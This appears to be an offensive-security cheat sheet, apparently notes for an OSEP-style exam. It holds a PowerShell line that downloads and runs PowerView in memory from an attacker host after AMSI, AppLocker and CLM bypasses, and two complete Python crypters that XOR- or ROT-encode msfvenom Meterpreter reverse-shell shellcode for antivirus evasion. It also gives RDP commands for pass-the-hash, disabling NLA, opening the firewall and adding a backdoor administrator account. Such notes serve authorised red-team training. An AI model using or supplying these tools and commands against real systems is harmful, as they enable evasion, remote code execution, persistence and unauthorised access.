- Download this obfuscated payload to your Kali: GitHub
- Start an HTTP Server
- Load it into memory, make sure AMSI, AppLocker and CLM had been bypassed
IEX (New-Object Net.WebClient).DownloadString('http://[ATTACKER_IP]/PowerView.obs.ps1')
Encryptors
XOR Shellcode GUI Encryptor
Steps
-
Create the payload, make sure to just copy the shellcode part, for example:
0x48, 0x4f.... -
Use the
XOREncoder.exeprogram, this is the GitHub reference and you can also find the.exein my GitHub for the OSEP.
XOR Shellcode Encryption
Shellcode Encryptor for .BINs
#!/usr/bin/python3
# Basic shellcode crypter for C# payloads
# By Cas van Cooten
import re
import platform
import argparse
import subprocess
from random import randint
if platform.system() != "Linux":
exit("[x] ERROR: Only Linux is supported for this utility script.")
class bcolors:
OKBLUE = '\033[94m'
OKGREEN = '\033[92m'
FAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
# Parse input arguments
def auto_int(x):
return int(x, 0)
parser = argparse.ArgumentParser()
parser.add_argument("path", help="the path to load the raw shellcode payload from", nargs='?', default="/tmp/payload.bin")
parser.add_argument("format", help="the language to format the output in ('cs' or 'cpp')", nargs='?', default="cs")
parser.add_argument("encoding", help="the encoding type to use ('xor' or 'rot')", nargs='?', default="xor")
parser.add_argument("key", help="the key to encode the payload with (integer)", type=auto_int, nargs='?', default=randint(1,255))
args = parser.parse_args()
# Generate the shellcode given the input path
print(f"{bcolors.BOLD}{bcolors.OKBLUE}[i] Generating payload for path {bcolors.OKGREEN}{args.path}{bcolors.ENDC}.")
try:
with open(args.path, "rb") as f:
payload = f.read()
except:
exit(f'{bcolors.BOLD}{bcolors.FAIL}[-] Cannot read file: {args.path}{bcolors.ENDC}')
# Format the output payload
if args.format == "cs":
# Encode the payload with the chosen type and key
print(f"{bcolors.BOLD}{bcolors.OKBLUE}[i] Encoding payload with type {bcolors.OKGREEN}{args.encoding}{bcolors.OKBLUE} and key {bcolors.OKGREEN}{hex(args.key)}{bcolors.ENDC}")
encodedPayload = []
payloadFormatted = ""
for byte in payload:
byteInt = int(byte)
if args.encoding == "xor":
byteInt = byteInt ^ args.key
elif args.encoding == "rot":
byteInt = byteInt + args.key & 255
else:
exit(f"{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid encoding type.{bcolors.ENDC}")
encodedPayload.append("{0:#0{1}x}".format(byteInt,4))
payLen = len(encodedPayload)
encodedPayload = re.sub("(.{65})", "\\1\n", ','.join(encodedPayload), 0, re.DOTALL)
payloadFormatted += f"// Payload {args.encoding}-encoded with key {hex(args.key)}\n"
payloadFormatted += f"byte[] buf = new byte[{str(payLen)}] {{\n{encodedPayload.strip()}\n}};"
if payLen > 1000:
f = open("/tmp/payload.txt", "w")
f.write(payloadFormatted)
f.close()
print(f"{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload written to {bcolors.OKGREEN}/tmp/payload.txt{bcolors.OKBLUE} in CSharp format!{bcolors.ENDC}")
else:
print(f"{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload (CSharp):{bcolors.ENDC}")
print(payloadFormatted + "\n")
print(f"{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}")
if args.encoding == "xor":
decodingFunc = f"""for (int i = 0; i < buf.Length; i++)
{{
buf[i] = (byte)((uint)buf[i] ^ {hex(args.key)});
}}"""
if args.encoding == "rot":
decodingFunc = f"""for (int i = 0; i < buf.Length; i++)
{{
buf[i] = (byte)(((uint)buf[i] - {hex(args.key)}) & 0xFF);
}}"""
print(decodingFunc)
elif args.format == "cpp":
# Encode the payload with the chosen type and key
print(f"{bcolors.BOLD}{bcolors.OKBLUE}[i] Encoding payload with type {bcolors.OKGREEN}{args.encoding}{bcolors.OKBLUE} and key {bcolors.OKGREEN}{hex(args.key)}{bcolors.ENDC}")
encodedPayload = []
payloadFormatted = ""
for byte in payload:
byteInt = int(byte)
if args.encoding == "xor":
byteInt = byteInt ^ args.key
elif args.encoding == "rot":
byteInt = byteInt + args.key & 255
else:
exit(f"{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid encoding type.{bcolors.ENDC}")
encodedPayload.append(f"\\x{byteInt:02x}")
payLen = len(encodedPayload)
encodedPayload = re.sub("(.{68})", " \"\\1\"\n", ''.join(encodedPayload), 0, re.DOTALL)
payloadFormatted += f"// Payload {args.encoding}-encoded with key {hex(args.key)}\n"
payloadFormatted += f"unsigned char buffer[] = \n {encodedPayload.strip()};"
if payLen > 1000:
f = open("/tmp/payload.txt", "w")
f.write(payloadFormatted)
f.close()
print(f"{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload written to {bcolors.OKGREEN}/tmp/payload.txt{bcolors.OKBLUE} in C++ format!{bcolors.ENDC}")
else:
print(f"{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload (C++):{bcolors.ENDC}")
print(payloadFormatted + "\n")
# Provide the decoding function for the heck of it
print(f"{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}")
if args.encoding == "xor":
decodingFunc = f"""char bufferx[sizeof buffer];
int i;
for (i = 0; i < sizeof bufferx; ++i)
bufferx[i] = (char)(buffer[i] ^ {hex(args.key)});
"""
if args.encoding == "rot":
decodingFunc = f"""char bufferx[sizeof buffer];
int i;
for (i = 0; i < sizeof bufferx; ++i)
bufferx[i] = (char)(buffer[i] - {hex(args.key)} & 255);
"""
print(decodingFunc)
else:
exit(f"{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid formatting type (choose 'cs' for CSharp or 'cpp' for C++).{bcolors.ENDC}")
Shellcode Encryptor for Meterpreter
#!/usr/bin/python3
# Basic shellcode crypter for C# payloads
# By Cas van Cooten
import re
import platform
import argparse
import subprocess
from random import randint
if platform.system() != "Linux":
exit("[x] ERROR: Only Linux is supported for this utility script.")
class bcolors:
OKBLUE = '\033[94m'
OKGREEN = '\033[92m'
FAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
# Parse input arguments
def auto_int(x):
return int(x, 0)
parser = argparse.ArgumentParser()
parser.add_argument("lhost", help="listener IP to use")
parser.add_argument("lport", help="listener port to use")
parser.add_argument("format", help="the language to format the output in ('cs' or 'cpp')", nargs='?', default="cs")
parser.add_argument("encoding", help="the encoding type to use ('xor' or 'rot')", nargs='?', default="xor")
parser.add_argument("key", help="the key to encode the payload with (integer)", type=auto_int, nargs='?', default=randint(1,255))
parser.add_argument("payload", help="the payload type from msfvenom to generate shellcode for (default: windows/x64/meterpreter/reverse_tcp)", nargs='?', default="windows/x64/meterpreter/reverse_tcp")
args = parser.parse_args()
# Generate the shellcode given the preferred payload
print(f"{bcolors.BOLD}{bcolors.OKBLUE}[i] Generating payload {bcolors.OKGREEN}{args.payload}{bcolors.OKBLUE} for LHOST={bcolors.OKGREEN}{args.lhost}{bcolors.OKBLUE} and LPORT={bcolors.OKGREEN}{args.lport}{bcolors.ENDC}")
result = subprocess.run(['msfvenom', '-p', args.payload, f"LHOST={args.lhost}", f"LPORT={args.lport}", 'exitfunc=thread', "-f", "csharp"], stdout=subprocess.PIPE)
if result.returncode != 0:
exit(f"{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Msfvenom generation unsuccessful. Are you sure msfvenom is installed?{bcolors.ENDC}")
# Get the payload bytes and split them
payload = re.search(r"{([^}]+)}", result.stdout.decode("utf-8")).group(1).replace('\n', '').split(",")
# Format the output payload
if args.format == "cs":
# Encode the payload with the chosen type and key
print(f"{bcolors.BOLD}{bcolors.OKBLUE}[i] Encoding payload with type {bcolors.OKGREEN}{args.encoding}{bcolors.OKBLUE} and key {bcolors.OKGREEN}{args.key}{bcolors.ENDC}")
for i, byte in enumerate(payload):
byteInt = int(byte, 16)
if args.encoding == "xor":
byteInt = byteInt ^ args.key
elif args.encoding == "rot":
byteInt = byteInt + args.key & 255
else:
exit(f"{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid encoding type.{bcolors.ENDC}")
payload[i] = "{0:#0{1}x}".format(byteInt,4)
payLen = len(payload)
payload = re.sub("(.{65})", "\\1\n", ','.join(payload), 0, re.DOTALL)
payloadFormatted = f"// msfvenom -p {args.payload} LHOST={args.lhost} LPORT={args.lport} EXITFUNC=thread -f csharp\n"
payloadFormatted += f"// {args.encoding}-encoded with key {hex(args.key)}\n"
payloadFormatted += f"byte[] buf = new byte[{str(payLen)}] {{\n{payload.strip()}\n}};"
if payLen > 1000:
f = open("/tmp/payload.txt", "w")
f.write(payloadFormatted)
f.close()
print(f"{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload written to '/tmp/payload.txt' in CSharp format!{bcolors.ENDC}")
else:
print(f"{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload (CSharp):{bcolors.ENDC}")
print(payloadFormatted + "\n")
# Provide the decoding function for the heck of it
print(f"{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}")
if args.encoding == "xor":
decodingFunc = f"""for (int i = 0; i < buf.Length; i++)
{{
buf[i] = (byte)((uint)buf[i] ^ {hex(args.key)});
}}"""
if args.encoding == "rot":
decodingFunc = f"""for (int i = 0; i < buf.Length; i++)
{{
buf[i] = (byte)(((uint)buf[i] - {hex(args.key)}) & 0xFF);
}}"""
print(decodingFunc)
elif args.format == "cpp":
# Encode the payload with the chosen type and key
print(f"{bcolors.BOLD}{bcolors.OKBLUE}[i] Encoding payload with type {bcolors.OKGREEN}{args.encoding}{bcolors.OKBLUE} and key {bcolors.OKGREEN}{args.key}{bcolors.ENDC}")
encodedPayload = []
for byte in payload:
byteInt = int(byte, 16)
if args.encoding == "xor":
byteInt = byteInt ^ args.key
elif args.encoding == "rot":
byteInt = byteInt + args.key & 255
else:
exit(f"{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid encoding type.{bcolors.ENDC}")
encodedPayload.append(f"\\x{byteInt:02x}")
payLen = len(encodedPayload)
payload = re.sub("(.{64})", " \"\\1\"\n", ''.join(encodedPayload), 0, re.DOTALL)
payloadFormatted = f"// msfvenom -p {args.payload} LHOST={args.lhost} LPORT={args.lport} EXITFUNC=thread -f csharp\n"
payloadFormatted += f"// {args.encoding}-encoded with key {hex(args.key)}\n"
payloadFormatted += f"unsigned char buffer[] =\n {payload.strip()};"
if payLen > 1000:
f = open("/tmp/payload.txt", "w")
f.write(payloadFormatted)
f.close()
print(f"{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload written to '/tmp/payload.txt' in C++ format!{bcolors.ENDC}")
else:
print(f"{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload (C++):{bcolors.ENDC}")
print(payloadFormatted + "\n")
# Provide the decoding function for the heck of it
print(f"{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}")
if args.encoding == "xor":
decodingFunc = f"""char bufferx[sizeof buffer];
int i;
for (i = 0; i < sizeof bufferx; ++i)
bufferx[i] = (char)(buffer[i] ^ {hex(args.key)});
"""
if args.encoding == "rot":
decodingFunc = f"""char bufferx[sizeof buffer];
int i;
for (i = 0; i < sizeof bufferx; ++i)
bufferx[i] = (char)(buffer[i] - {hex(args.key)} & 255);
"""
print(decodingFunc)
else:
exit(f"{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid formatting type (choose 'cs' for CSharp or 'cpp' for C++).{bcolors.ENDC}")
RDP Connecting
Connecting Commands
- Using Credentials
xfreerdp3 /u:[user] /p:'[password]' /v:[IP] /dynamic-resolution +clipboard
rdesktop [IP] -u [user] -p [password] -g 80%+150+100
xfreerdp /compression +auto-reconnect /u:[user] /p:'[password]' /v:[IP] +clipboard /size:1920x1080 /drive:desktop,/home/[your_username]/Desktop
- Using Hashes
# Using an NTLM hash.
xfreerdp /size:1920x1080 /v:[IP] /u:[user] /H:[hash] /cert:ignore /dynamic-resolution
- Proxying to Connect to Internal Networks
proxychains xfreerdp3 /u:[user] /p:'[password]' /v:[IP]
- Prompt for Credentials
# Useful when GUI is required for attacks.
rdesktop [IP]
Enable RDP If Disabled
Check RDP Status
$ComputerName = hostname
(Get-WmiObject -class "Win32_TSGeneralSetting" -Namespace root\cimv2\terminalservices -ComputerName $ComputerName -Filter "TerminalName='RDP-tcp'").UserAuthenticationRequired
# If result is 1 then RDP is disabled
# Set the NLA information to Disabled to allow RDP
(Get-WmiObject -class "Win32_TSGeneralSetting" -Namespace root\cimv2\terminalservices -ComputerName $ComputerName -Filter "TerminalName='RDP-tcp'").SetUserAuthenticationRequired(0)
# Set the NLA information to Enabled to deny RDP
(Get-WmiObject -class "Win32_TSGeneralSetting" -Namespace root\cimv2\terminalservices -ComputerName $ComputerName -Filter "TerminalName='RDP-tcp'").SetUserAuthenticationRequired(1)
Enabled it for the whole workstation
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -name "fDenyTSConnections" -value 0
Enabled it for an Specific User (No Active Directory)
Add-LocalGroupMember -Group "Remote Desktop Users" -Member "[username]"
Enabled it for an Specific User (Active Directory)
# Option 1: Using Ad User
Add-ADGroupMember -Identity "Remote Desktop Users" -Members "[domain]\[username]"
# Option 2: Using net
net localgroup "Remote Desktop Users" "[domain]\[username]" /add
Enable RDP Pass-The-Hash
New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DisableRestrictedAdmin" -Value "0" -PropertyType DWORD -Force
Check the Firewall Status
# This is done because if a firewall is configured, it may cause issues for our RDP
# Get status: if True the rule is enabled and RDP should work
Get-NetFirewallRule -DisplayGroup "Remote Desktop"
# Enabled if it's disabled, ensures traffic via port 3389 is not blocked
Enable-NetFirewallRule -DisplayGroup "Remote Desktop"
(Alternative) Create a new user for RDP, needs to be admin already
# 1. Create the new user
New-ADUser -Name "[username]" -AccountPassword (ConvertTo-SecureString "P@ssword123!" -AsPlainText -Force) -Enabled $true
# 2. Confirm that it was created successfully (should appear in the list)
Get-NetUser | select cn
# 3. Add user to RDP group, must be run being admin
Add-ADGroupMember -Identity "Remote Management Users" -Members [username]
# 4. Add user to Adinistrators group, must be run being admin
Add-ADGroupMember -Identity "Administrators" -Members [username]
# 5. Enable RDP Usage
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server'-name "fDenyTSConnections" -Value 0
Enable-NetFirewallRule -DisplayGroup "Remote Desktop"
# 6. Connect to RDP
rdesktop -u [username] -p 'P@ssword123!' -d [domain.com] [victim_ip]